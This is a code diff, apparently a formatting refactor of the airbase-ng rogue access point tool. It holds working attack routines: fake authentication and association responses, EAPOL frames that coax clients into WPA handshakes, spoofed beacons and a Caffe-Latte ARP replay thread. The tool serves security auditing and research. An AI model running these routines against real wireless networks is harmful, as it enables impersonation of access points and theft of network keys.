-                    check_shared_key(packet, length);
-                    if(!opt.quiet)
-                        PCT; printf("SKA from %02X:%02X:%02X:%02X:%02X:%02X\n",
-                                smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);
-                }
-            }
-        }
-
-        //asso req or reasso
-        if((packet[0] == 0x00 || packet[0] == 0x20) && memcmp( bssid, opt.r_bssid, 6) == 0 )
-        {
-            if(packet[0] == 0x00) //asso req
-            {
-                reasso = 0;
-                fixed = 4;
-            }
-            else
-            {
-                reasso = 1;
-                fixed = 10;
-            }
-
-            st_cur->wep = (packet[z] & 0x10) >> 4;
-
-            tag = parse_tags(packet+z+fixed, 0, length-z-fixed, &len);
-            if(tag != NULL && tag[0] >= 32 && len < 256)
-            {
-                memcpy(essid, tag, len);
-                essid[len] = 0x00;
-                if(opt.f_essid && !gotESSID(essid, len))
-                    return 0;
-            }
-
-            st_cur->wpatype=0;
-            st_cur->wpahash=0;
-
-            tag = parse_tags(packet+z+fixed, 0xDD, length-z-fixed, &len);
-            while( tag != NULL )
-            {
-//                 printf("Found WPA TAG\n");
-                wpa_client(st_cur, tag-2, len+2);
-                tag += (tag-2)[1]+2;
-                tag = parse_tags(tag-2, 0xDD, length-(tag-packet)+2, &len);
-            }
-
-            tag = parse_tags(packet+z+fixed, 0x30, length-z-fixed, &len);
-            while( tag != NULL )
-            {
-//                 printf("Found WPA2 TAG\n");
-                wpa_client(st_cur, tag-2, len+2);
-                tag += (tag-2)[1]+2;
-                tag = parse_tags(tag-2, 0x30, length-(tag-packet)+2, &len);
-            }
-
-            if(!reasso)
-                packet[0] = 0x10;
-            else
-                packet[0] = 0x30;
-
-            memcpy(packet +  4, smac, 6);
-            memcpy(packet + 10, dmac, 6);
-
-            //store the tagged parameters and insert the fixed ones
-            buffer = (unsigned char*) malloc(length-z-fixed);
-            memcpy(buffer, packet+z+fixed, length-z-fixed);
-
-            packet[z+2] = 0x00;
-            packet[z+3] = 0x00;
-            packet[z+4] = 0x01;
-            packet[z+5] = 0xC0;
-
-            memcpy(packet+z+6, buffer, length-z-fixed);
-            length +=(6-fixed);
-            free(buffer);
-            buffer = NULL;
-
-            len = length - z - 6;
-            remove_tag(packet+z+6, 0, &len);
-            length = len + z + 6;
-
-            send_packet(packet, length);
-            if(!opt.quiet)
-            {
-                PCT; printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated",
-                        smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], (reasso==0)?"":"re");
-                if(st_cur->wpatype != 0)
-                {
-                    if(st_cur->wpatype == 1)
-                        printf(" (WPA1");
-                    else
-                        printf(" (WPA2");
-
-                    if(st_cur->wpahash == 1)
-                        printf(";TKIP)");
-                    else
-                        printf(";CCMP)");
-                }
-                else if(st_cur->wep != 0)
-                {
-                    printf(" (WEP)");
-                }
-                else
-                {
-                    printf(" (unencrypted)");
-                }
-
-                if(essid[0] != 0x00)
-                    printf(" to ESSID: \"%s\"", essid);
-                printf("\n");
-            }
-
-            memset(st_cur->essid, 0, 256);
-            memcpy(st_cur->essid, essid, 255);
-            st_cur->essid_length = strlen(essid);
-
-            memset(essid, 0, 256);
-
-            /* either specified or determined */
-            if( (opt.sendeapol && ( opt.wpa1type || opt.wpa2type ) ) || (st_cur->wpatype && st_cur->wpahash) )
-            {
-                st_cur->wpa.state = 0;
+		// auth req
+		if (packet[0] == 0xB0 && memcmp(bssid, opt.r_bssid, 6) == 0)
+		{
+			if (packet[z] == 0x00) // open system auth
+			{
+				// make sure it's an auth request
+				if (packet[z + 2] == 0x01)
+				{
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got an auth request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X (open system)\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, dmac, 6);
+					packet[z + 2] = 0x02;
+
+					if (opt.forceska)
+					{
+						packet[z] = 0x01;
+						packet[z + 4] = 13;
+					}
 
-                if (opt.use_fixed_nonce) {
+					send_packet(packet, length);
+					return 0;
+				}
+			}
+			else // shared key auth
+			{
+				// first response
+				if (packet[z + 2] == 0x01 && (packet[1] & 0x40) == 0x00)
+				{
+					if (opt.verbose)
+					{
+						PCT;
+						printf("Got an auth request from "
+							   "%02X:%02X:%02X:%02X:%02X:%02X (shared key)\n",
+							   smac[0],
+							   smac[1],
+							   smac[2],
+							   smac[3],
+							   smac[4],
+							   smac[5]);
+					}
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, dmac, 6);
+					packet[z + 2] = 0x02;
+
+					remaining = opt.skalen;
+
+					while (remaining > 0)
+					{
+						bytes2use = MIN(255, remaining);
+						remaining -= bytes2use;
+						// add challenge
+						packet[length] = 0x10;
+						packet[length + 1] = bytes2use;
+						length += 2;
+
+						for (i = 0; i < bytes2use; i++)
+						{
+							packet[length + i] = rand() & 0xFF;
+						}
+
+						length += bytes2use;
+					}
+					send_packet(packet, length);
+					check_shared_key(packet, length);
+					return 0;
+				}
+
+				// second response
+				if ((packet[1] & 0x40) == 0x40)
+				{
+					check_shared_key(packet, length);
+					packet[1] = 0x00; // not encrypted
+					memcpy(packet + 4, smac, 6);
+					memcpy(packet + 10, dmac, 6);
+
+					packet[z] = 0x01; // shared key
+					packet[z + 1] = 0x00;
+					packet[z + 2] = 0x04; // sequence 4
+					packet[z + 3] = 0x00;
+					packet[z + 4] = 0x00; // successful
+					packet[z + 5] = 0x00;
+
+					length = z + 6;
+					send_packet(packet, length);
+					check_shared_key(packet, length);
+					if (!opt.quiet) PCT;
+					printf("SKA from %02X:%02X:%02X:%02X:%02X:%02X\n",
+						   smac[0],
+						   smac[1],
+						   smac[2],
+						   smac[3],
+						   smac[4],
+						   smac[5]);
+				}
+			}
+		}
+
+		// asso req or reasso
+		if ((packet[0] == 0x00 || packet[0] == 0x20)
+			&& memcmp(bssid, opt.r_bssid, 6) == 0)
+		{
+			if (packet[0] == 0x00) // asso req
+			{
+				reasso = 0;
+				fixed = 4;
+			}
+			else
+			{
+				reasso = 1;
+				fixed = 10;
+			}
+
+			st_cur->wep = (packet[z] & 0x10) >> 4;
+
+			tag = parse_tags(packet + z + fixed, 0, length - z - fixed, &len);
+			if (tag != NULL && tag[0] >= 32 && len < 256)
+			{
+				memcpy(essid, tag, len);
+				essid[len] = 0x00;
+				if (opt.f_essid && !gotESSID(essid, len)) return 0;
+			}
+
+			st_cur->wpatype = 0;
+			st_cur->wpahash = 0;
+
+			tag = parse_tags(
+				packet + z + fixed, 0xDD, length - z - fixed, &len);
+			while (tag != NULL)
+			{
+				//                 printf("Found WPA TAG\n");
+				wpa_client(st_cur, tag - 2, len + 2);
+				tag += (tag - 2)[1] + 2;
+				tag = parse_tags(
+					tag - 2, 0xDD, length - (tag - packet) + 2, &len);
+			}
+
+			tag = parse_tags(
+				packet + z + fixed, 0x30, length - z - fixed, &len);
+			while (tag != NULL)
+			{
+				//                 printf("Found WPA2 TAG\n");
+				wpa_client(st_cur, tag - 2, len + 2);
+				tag += (tag - 2)[1] + 2;
+				tag = parse_tags(
+					tag - 2, 0x30, length - (tag - packet) + 2, &len);
+			}
+
+			if (!reasso)
+				packet[0] = 0x10;
+			else
+				packet[0] = 0x30;
+
+			memcpy(packet + 4, smac, 6);
+			memcpy(packet + 10, dmac, 6);
+
+			// store the tagged parameters and insert the fixed ones
+			buffer = (unsigned char *) malloc(length - z - fixed);
+			memcpy(buffer, packet + z + fixed, length - z - fixed);
+
+			packet[z + 2] = 0x00;
+			packet[z + 3] = 0x00;
+			packet[z + 4] = 0x01;
+			packet[z + 5] = 0xC0;
+
+			memcpy(packet + z + 6, buffer, length - z - fixed);
+			length += (6 - fixed);
+			free(buffer);
+			buffer = NULL;
+
+			len = length - z - 6;
+			remove_tag(packet + z + 6, 0, &len);
+			length = len + z + 6;
+
+			send_packet(packet, length);
+			if (!opt.quiet)
+			{
+				PCT;
+				printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated",
+					   smac[0],
+					   smac[1],
+					   smac[2],
+					   smac[3],
+					   smac[4],
+					   smac[5],
+					   (reasso == 0) ? "" : "re");
+				if (st_cur->wpatype != 0)
+				{
+					if (st_cur->wpatype == 1)
+						printf(" (WPA1");
+					else
+						printf(" (WPA2");
+
+					if (st_cur->wpahash == 1)
+						printf(";TKIP)");
+					else
+						printf(";CCMP)");
+				}
+				else if (st_cur->wep != 0)
+				{
+					printf(" (WEP)");
+				}
+				else
+				{
+					printf(" (unencrypted)");
+				}
+
+				if (essid[0] != 0x00) printf(" to ESSID: \"%s\"", essid);
+				printf("\n");
+			}
+
+			memset(st_cur->essid, 0, 256);
+			memcpy(st_cur->essid, essid, 255);
+			st_cur->essid_length = strlen(essid);
+
+			memset(essid, 0, 256);
+
+			/* either specified or determined */
+			if ((opt.sendeapol && (opt.wpa1type || opt.wpa2type))
+				|| (st_cur->wpatype && st_cur->wpahash))
+			{
+				st_cur->wpa.state = 0;
+
+				if (opt.use_fixed_nonce)
+				{
 					memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32);
-				} else {
-					for(i=0; i<32; i++)
-						st_cur->wpa.anonce[i] = rand()&0xFF;
-				}
-
-                st_cur->wpa.state |= 1;
-
-                /* build first eapol frame */
-                memcpy(h80211, "\x08\x02\xd5\x00", 4);
-                len = 4;
-
-                memcpy(h80211+len, smac, 6);
-                len += 6;
-                memcpy(h80211+len, bssid, 6);
-                len += 6;
-                memcpy(h80211+len, bssid, 6);
-                len += 6;
-
-                h80211[len] = 0x60;
-                h80211[len+1] = 0x0f;
-                len += 2;
-
-                //llc+snap
-                memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
-                len += 8;
-
-                //eapol
-                memset(h80211+len, 0, 99);
-                h80211[len]    = 0x01;//version
-                h80211[len+1]  = 0x03;//type
-                h80211[len+2]  = 0x00;
-                h80211[len+3]  = 0x5F;//len
-                if(opt.wpa1type)
-                    h80211[len+4]  = 0xFE; //WPA1
-
-                if(opt.wpa2type)
-                    h80211[len+4]  = 0x02; //WPA2
-
-                if(!opt.wpa1type && !opt.wpa2type)
-                {
-                    if(st_cur->wpatype == 1) //WPA1
-                        h80211[len+4]  = 0xFE; //WPA1
-                    else
-                        h80211[len+4]  = 0x02; //WPA2
-                }
-
-                if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified
-                {
-                    if(opt.sendeapol == 1) //MD5
-                    {
-                        h80211[len+5] = 0x00;
-                        h80211[len+6] = 0x89;
-                    }
-                    else //SHA1
-                    {
-                        h80211[len+5] = 0x00;
-                        h80211[len+6] = 0x8a;
-                    }
-                }
-                else //from asso
-                {
-                    if(st_cur->wpahash == 1) //MD5
-                    {
-                        h80211[len+5] = 0x00;
-                        h80211[len+6] = 0x89;
-                    }
-                    else if(st_cur->wpahash == 2) //SHA1
-                    {
-                        h80211[len+5] = 0x00;
-                        h80211[len+6] = 0x8a;
-                    }
-                }
-
-                h80211[len+7] = 0x00;
-                h80211[len+8] = 0x20; //keylen
-
-                memset(h80211+len+9, 0, 90);
-                memcpy(h80211+len+17, st_cur->wpa.anonce, 32);
-
-                len+=99;
-
-                send_packet(h80211, len);
-            }
-
-            return 0;
-        }
-
-        return 0;
-    }
-
-    return 0;
-}
-
-void beacon_thread( void *arg )
-{
-    struct AP_conf apc;
-    struct timeval tv, tv1, tv2;
-    u_int64_t timestamp;
-    unsigned char beacon[512];
-    int beacon_len=0;
-    int seq=0, i=0, n=0;
-    int essid_len, temp_channel;
-    char essid[MAX_IE_ELEMENT_SIZE+1];
-    float f, ticks[3];
-
-    memset(essid, 0, MAX_IE_ELEMENT_SIZE+1);
-    memcpy(&apc, arg, sizeof(struct AP_conf));
-
-    ticks[0]=0;
-    ticks[1]=0;
-    ticks[2]=0;
-
-    while( 1 )
-    {
-        /* sleep until the next clock tick */
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                return;
-            }
-
-            ticks[0]++;
-            ticks[1]++;
-            ticks[2]++;
-        }
-        else
-        {
-            gettimeofday( &tv,  NULL );
-            usleep( 1000000/RTC_RESOLUTION );
-            gettimeofday( &tv2, NULL );
+				}
+				else
+				{
+					for (i = 0; i < 32; i++)
+						st_cur->wpa.anonce[i] = rand() & 0xFF;
+				}
 
-#if defined(__x86_64__) && defined(__CYGWIN__)
-        	f = (0.0f + 1000000)
-#else
-		f = 1000000.0
-#endif
-			 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
+				st_cur->wpa.state |= 1;
 
-            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-        }
-
-        if( ( (double)ticks[2] / (double)RTC_RESOLUTION )  >= ((double)apc.interval/
-#if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 1000))*(double)seq )
-#else
-		1000.0)*(double)seq )
-#endif
-        {
-            /* threshold reach, send one frame */
-//             ticks[2] = 0;
-            fflush(stdout);
-            gettimeofday( &tv1,  NULL );
-            timestamp=tv1.tv_sec*1000000UL + tv1.tv_usec;
-            fflush(stdout);
-
-            /* flush expired ESSID entries */
-            flushESSID();
-            essid_len = getNextESSID(essid);
-            if (!essid_len) {
-                strcpy(essid, "default");
-                essid_len = strlen("default");
-            }
-
-            beacon_len = 0;
-
-            memcpy(beacon, "\x80\x00\x00\x00", 4);  //type/subtype/framecontrol/duration
-            beacon_len+=4;
-            memcpy(beacon+beacon_len , BROADCAST, 6);        //destination
-            beacon_len+=6;
-            if(!opt.adhoc)
-                memcpy(beacon+beacon_len, apc.bssid, 6);        //source
-            else
-                memcpy(beacon+beacon_len, opt.r_smac, 6);        //source
-            beacon_len+=6;
-            memcpy(beacon+beacon_len, apc.bssid, 6);        //bssid
-            beacon_len+=6;
-            memcpy(beacon+beacon_len, "\x00\x00", 2);       //seq+frag
-            beacon_len+=2;
-
-            memcpy(beacon+beacon_len, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12);  //fixed information
-
-            beacon[beacon_len+8] = (apc.interval * MAX(getESSIDcount(), 1) ) & 0xFF;       //beacon interval
-            beacon[beacon_len+9] = (apc.interval * MAX(getESSIDcount(), 1) >> 8) & 0xFF;
-            memcpy(beacon+beacon_len+10, apc.capa, 2);          //capability
-            beacon_len+=12;
-
-            beacon[beacon_len] = 0x00; //essid tag
-            beacon[beacon_len+1] = essid_len; //essid tag
-            beacon_len+=2;
-            memcpy(beacon+beacon_len, essid, essid_len); //actual essid
-            beacon_len+=essid_len;
-
-            memcpy(beacon+beacon_len, RATES, sizeof(RATES) -1); //rates
-            beacon_len += sizeof(RATES) -1;
-
-            beacon[beacon_len] = 0x03; //channel tag
-            beacon[beacon_len+1] = 0x01;
-            temp_channel = wi_get_channel(_wi_in); //current channel
-			if (!invalid_channel_displayed) {
-				if (temp_channel > 255) {
+				/* build first eapol frame */
+				memcpy(h80211, "\x08\x02\xd5\x00", 4);
+				len = 4;
+
+				memcpy(h80211 + len, smac, 6);
+				len += 6;
+				memcpy(h80211 + len, bssid, 6);
+				len += 6;
+				memcpy(h80211 + len, bssid, 6);
+				len += 6;
+
+				h80211[len] = 0x60;
+				h80211[len + 1] = 0x0f;
+				len += 2;
+
+				// llc+snap
+				memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
+				len += 8;
+
+				// eapol
+				memset(h80211 + len, 0, 99);
+				h80211[len] = 0x01; // version
+				h80211[len + 1] = 0x03; // type
+				h80211[len + 2] = 0x00;
+				h80211[len + 3] = 0x5F; // len
+				if (opt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
+
+				if (opt.wpa2type) h80211[len + 4] = 0x02; // WPA2
+
+				if (!opt.wpa1type && !opt.wpa2type)
+				{
+					if (st_cur->wpatype == 1) // WPA1
+						h80211[len + 4] = 0xFE; // WPA1
+					else
+						h80211[len + 4] = 0x02; // WPA2
+				}
+
+				if (opt.sendeapol >= 1 && opt.sendeapol <= 2) // specified
+				{
+					if (opt.sendeapol == 1) // MD5
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x89;
+					}
+					else // SHA1
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x8a;
+					}
+				}
+				else // from asso
+				{
+					if (st_cur->wpahash == 1) // MD5
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x89;
+					}
+					else if (st_cur->wpahash == 2) // SHA1
+					{
+						h80211[len + 5] = 0x00;
+						h80211[len + 6] = 0x8a;
+					}
+				}
+
+				h80211[len + 7] = 0x00;
+				h80211[len + 8] = 0x20; // keylen
+
+				memset(h80211 + len + 9, 0, 90);
+				memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
+
+				len += 99;
+
+				send_packet(h80211, len);
+			}
+
+			return 0;
+		}
+
+		return 0;
+	}
+
+	return 0;
+}
+
+static void beacon_thread(void * arg)
+{
+	struct AP_conf apc;
+	struct timeval tv, tv1, tv2;
+	u_int64_t timestamp;
+	unsigned char beacon[512];
+	int beacon_len = 0;
+	int seq = 0, i = 0, n = 0;
+	int essid_len, temp_channel;
+	char essid[MAX_IE_ELEMENT_SIZE + 1];
+	float f, ticks[3];
+	ssize_t rc;
+
+	memset(essid, 0, MAX_IE_ELEMENT_SIZE + 1);
+	memcpy(&apc, arg, sizeof(struct AP_conf));
+
+	ticks[0] = 0;
+	ticks[1] = 0;
+	ticks[2] = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+		if (dev.fd_rtc >= 0)
+		{
+			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				return;
+			}
+
+			if (rc == 0)
+			{
+				perror("EOF encountered on /dev/rtc");
+				return;
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
+
+		if (((double) ticks[2] / (double) RTC_RESOLUTION)
+			>= ((double) apc.interval / 1000.0) * (double) seq)
+		{
+			/* threshold reach, send one frame */
+			//             ticks[2] = 0;
+			fflush(stdout);
+			gettimeofday(&tv1, NULL);
+			timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
+			fflush(stdout);
+
+			/* flush expired ESSID entries */
+			flushESSID();
+			essid_len = getNextESSID(essid);
+			if (!essid_len)
+			{
+				strncpy(essid, "default", sizeof(essid) - 1);
+				essid_len = strlen("default");
+			}
+
+			beacon_len = 0;
+
+			memcpy(beacon,
+				   "\x80\x00\x00\x00",
+				   4); // type/subtype/framecontrol/duration
+			beacon_len += 4;
+			memcpy(beacon + beacon_len, BROADCAST, 6); // destination
+			beacon_len += 6;
+			if (!opt.adhoc)
+				memcpy(beacon + beacon_len, apc.bssid, 6); // source
+			else
+				memcpy(beacon + beacon_len, opt.r_smac, 6); // source
+			beacon_len += 6;
+			memcpy(beacon + beacon_len, apc.bssid, 6); // bssid
+			beacon_len += 6;
+			memcpy(beacon + beacon_len, "\x00\x00", 2); // seq+frag
+			beacon_len += 2;
+
+			memcpy(beacon + beacon_len,
+				   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+				   12); // fixed information
+
+			beacon[beacon_len + 8] = (apc.interval * MAX(getESSIDcount(), 1))
+									 & 0xFF; // beacon interval
+			beacon[beacon_len + 9]
+				= (apc.interval * MAX(getESSIDcount(), 1) >> 8) & 0xFF;
+			memcpy(beacon + beacon_len + 10, apc.capa, 2); // capability
+			beacon_len += 12;
+
+			beacon[beacon_len] = 0x00; // essid tag
+			beacon[beacon_len + 1] = essid_len; // essid tag
+			beacon_len += 2;
+			memcpy(beacon + beacon_len, essid, essid_len); // actual essid
+			beacon_len += essid_len;
+
+			memcpy(beacon + beacon_len, RATES, sizeof(RATES) - 1); // rates
+			beacon_len += sizeof(RATES) - 1;
+
+			beacon[beacon_len] = 0x03; // channel tag
+			beacon[beacon_len + 1] = 0x01;
+			temp_channel = wi_get_channel(_wi_in); // current channel
+			if (!invalid_channel_displayed)
+			{
+				if (temp_channel > 255)
+				{
 					// Display error message once
 					invalid_channel_displayed = 1;
-					fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel);
-				} else if (temp_channel < 1) {
+					fprintf(stderr,
+							"Error: Got channel %d, expected a value < 256.\n",
+							temp_channel);
+				}
+				else if (temp_channel < 1)
+				{
 					invalid_channel_displayed = 1;
-					fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel);
+					fprintf(stderr,
+							"Error: Got channel %d, expected a value > 0.\n",
+							temp_channel);
 				}
 			}
-            beacon[beacon_len+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel;
+			beacon[beacon_len + 2]
+				= ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0)
+					  ? opt.channel
+					  : temp_channel;
+
+			beacon_len += 3;
+
+			if (opt.allwpa)
+			{
+				memcpy(beacon + beacon_len,
+					   ALL_WPA2_TAGS,
+					   sizeof(ALL_WPA2_TAGS) - 1);
+				beacon_len += sizeof(ALL_WPA2_TAGS) - 1;
+			}
+			else if (opt.wpa2type > 0)
+			{
+				memcpy(beacon + beacon_len, WPA2_TAG, 22);
+				beacon[beacon_len + 7] = opt.wpa2type;
+				beacon[beacon_len + 13] = opt.wpa2type;
+				beacon_len += 22;
+			}
 
-            beacon_len+=3;
+			// Add extended rates
+			memcpy(beacon + beacon_len,
+				   EXTENDED_RATES,
+				   sizeof(EXTENDED_RATES) - 1);
+			beacon_len += sizeof(EXTENDED_RATES) - 1;
+
+			if (opt.allwpa)
+			{
+				memcpy(beacon + beacon_len,
+					   ALL_WPA1_TAGS,
+					   sizeof(ALL_WPA1_TAGS) - 1);
+				beacon_len += sizeof(ALL_WPA1_TAGS) - 1;
+			}
+			else if (opt.wpa1type > 0)
+			{
+				memcpy(beacon + beacon_len, WPA1_TAG, 24);
+				beacon[beacon_len + 11] = opt.wpa1type;
+				beacon[beacon_len + 17] = opt.wpa1type;
+				beacon_len += 24;
+			}
 
-            if( opt.allwpa )
-            {
-                memcpy(beacon+beacon_len, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1);
-                beacon_len += sizeof(ALL_WPA2_TAGS) -1;
-            }
-            else if(opt.wpa2type > 0)
-            {
-                memcpy(beacon+beacon_len, WPA2_TAG, 22);
-                beacon[beacon_len+7] = opt.wpa2type;
-                beacon[beacon_len+13] = opt.wpa2type;
-                beacon_len += 22;
-            }
-
-            // Add extended rates
-            memcpy(beacon + beacon_len, EXTENDED_RATES, sizeof(EXTENDED_RATES) -1);
-            beacon_len += sizeof(EXTENDED_RATES) -1;
-
-            if( opt.allwpa )
-            {
-                memcpy(beacon+beacon_len, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1);
-                beacon_len += sizeof(ALL_WPA1_TAGS) -1;
-            }
-            else if(opt.wpa1type > 0)
-            {
-                memcpy(beacon+beacon_len, WPA1_TAG, 24);
-                beacon[beacon_len+11] = opt.wpa1type;
-                beacon[beacon_len+17] = opt.wpa1type;
-                beacon_len += 24;
-            }
-
-
-            //copy timestamp into beacon; a mod 2^64 counter incremented each microsecond
-            for(i=0; i<8; i++)
-            {
-                beacon[24+i] = ( timestamp >> (i*8) ) & 0xFF;
-            }
-
-            beacon[22] = (seq << 4) & 0xFF;
-            beacon[23] = (seq >> 4) & 0xFF;
-
-            fflush(stdout);
-
-            if( send_packet( beacon, beacon_len ) < 0 )
-            {
-                printf("Error sending beacon!\n");
-                return;
-            }
-
-            seq++;
-        }
-    }
-}
-
-void caffelatte_thread( void )
-{
-    struct timeval tv, tv2;
-    float f, ticks[3];
-    int arp_off1=0;
-    int nb_pkt_sent_1=0;
-    int seq=0;
-
-    ticks[0]=0;
-    ticks[1]=0;
-    ticks[2]=0;
-
-    while( 1 )
-    {
-        /* sleep until the next clock tick */
-
-        gettimeofday( &tv,  NULL );
-        usleep( 1000000/RTC_RESOLUTION );
-        gettimeofday( &tv2, NULL );
+			// copy timestamp into beacon; a mod 2^64 counter incremented each
+			// microsecond
+			for (i = 0; i < 8; i++)
+			{
+				beacon[24 + i] = (timestamp >> (i * 8)) & 0xFF;
+			}
 
-#if defined(__x86_64__) && defined(__CYGWIN__)
-        f = (0.0f + 1000000)
-#else
-	f = 1000000.0
-#endif
-		 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                    + (float) ( tv2.tv_usec - tv.tv_usec );
+			beacon[22] = (seq << 4) & 0xFF;
+			beacon[23] = (seq >> 4) & 0xFF;
 
-        ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-        ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-        ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-
-        if( ( (double)ticks[2] / (double)RTC_RESOLUTION )  >= ((double)
-#if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 1000)
-#else
-		1000.0
-#endif
-		/(double)opt.r_nbpps)*(double)seq )
-        {
-            /* threshold reach, send one frame */
-//            ticks[2] = 0;
+			fflush(stdout);
 
+			if (send_packet(beacon, beacon_len) < 0)
+			{
+				printf("Error sending beacon!\n");
+				return;
+			}
 
-            if( opt.nb_arp > 0 )
-            {
-                if( nb_pkt_sent_1 == 0 )
-                    ticks[0] = 0;
+			seq++;
+		}
+	}
+}
+
+static void caffelatte_thread(void)
+{
+	struct timeval tv, tv2;
+	float f, ticks[3];
+	int arp_off1 = 0;
+	int nb_pkt_sent_1 = 0;
+	int seq = 0;
+
+	ticks[0] = 0;
+	ticks[1] = 0;
+	ticks[2] = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
 
-                if( send_packet( arp[arp_off1].buf,
-                                 arp[arp_off1].len ) < 0 )
-                    return;
+		gettimeofday(&tv, NULL);
+		usleep(1000000 / RTC_RESOLUTION);
+		gettimeofday(&tv2, NULL);
 
-                nb_pkt_sent_1++;
+		f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+			+ (float) (tv2.tv_usec - tv.tv_usec);
 
-                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1  )
-                {
-                    if( send_packet( arp[arp_off1].buf,
-                                    arp[arp_off1].len ) < 0 )
-                        return;
+		ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[2] += f / (1000000.f / RTC_RESOLUTION);
 
-                    nb_pkt_sent_1++;
-                }
+		if (((double) ticks[2] / (double) RTC_RESOLUTION)
+			>= (1000.0 / (double) opt.r_nbpps) * (double) seq)
+		{
+			/* threshold reach, send one frame */
+			//            ticks[2] = 0;
 
-                if( ++arp_off1 >= opt.nb_arp )
-                    arp_off1 = 0;
-            }
-        }
-    }
+			if (opt.nb_arp > 0)
+			{
+				if (nb_pkt_sent_1 == 0) ticks[0] = 0;
+
+				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+					return;
+
+				nb_pkt_sent_1++;
+
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent_1)
+				{
+					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+						return;
+
+					nb_pkt_sent_1++;
+				}
+
+				if (++arp_off1 >= opt.nb_arp) arp_off1 = 0;
+			}
+		}
+	}
 }
 
-int del_next_CF(pCF_t curCF)
+static int del_next_CF(pCF_t curCF)
 {
-    pCF_t tmp;
+	pCF_t tmp;
 
-    if(curCF == NULL)
-        return 1;
+	if (curCF == NULL) return 1;
 
-    if(curCF->next == NULL)
-        return 1;
+	if (curCF->next == NULL) return 1;
 
-    tmp = curCF->next;
-    curCF -> next = tmp->next;
+	tmp = curCF->next;
+	curCF->next = tmp->next;
 
-    free(tmp);
+	free(tmp);
 
-    return 0;
+	return 0;
 }
 
-int cfrag_fuzz(unsigned char *packet, int frags, int frag_num, int length, unsigned char rnd[2])
+static int cfrag_fuzz(unsigned char * packet,
+					  int frags,
+					  int frag_num,
+					  int length,
+					  unsigned char rnd[2])
 {
-    int z, i;
-    unsigned char overlay[4096];
-    unsigned char *smac = NULL;
+	int z, i;
+	unsigned char overlay[4096];
+	unsigned char * smac = NULL;
 
-    if(packet == NULL)
-        return 1;
+	if (packet == NULL) return 1;
 
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
 
-    if(length <= z+8)
-        return 1;
+	if (length <= z + 8) return 1;
 
-    if(frags < 1)
-        return 1;
+	if (frags < 1) return 1;
 
-    if(frag_num < 0 || frag_num > frags)
-        return 1;
+	if (frag_num < 0 || frag_num > frags) return 1;
 
-    if( (packet[1] & 3) <= 1 )
-        smac = packet + 10;
-    else if( (packet[1] & 3) == 2 )
-        smac = packet + 16;
-    else
-        smac = packet + 24;
+	if ((packet[1] & 3) <= 1)
+		smac = packet + 10;
+	else if ((packet[1] & 3) == 2)
+		smac = packet + 16;
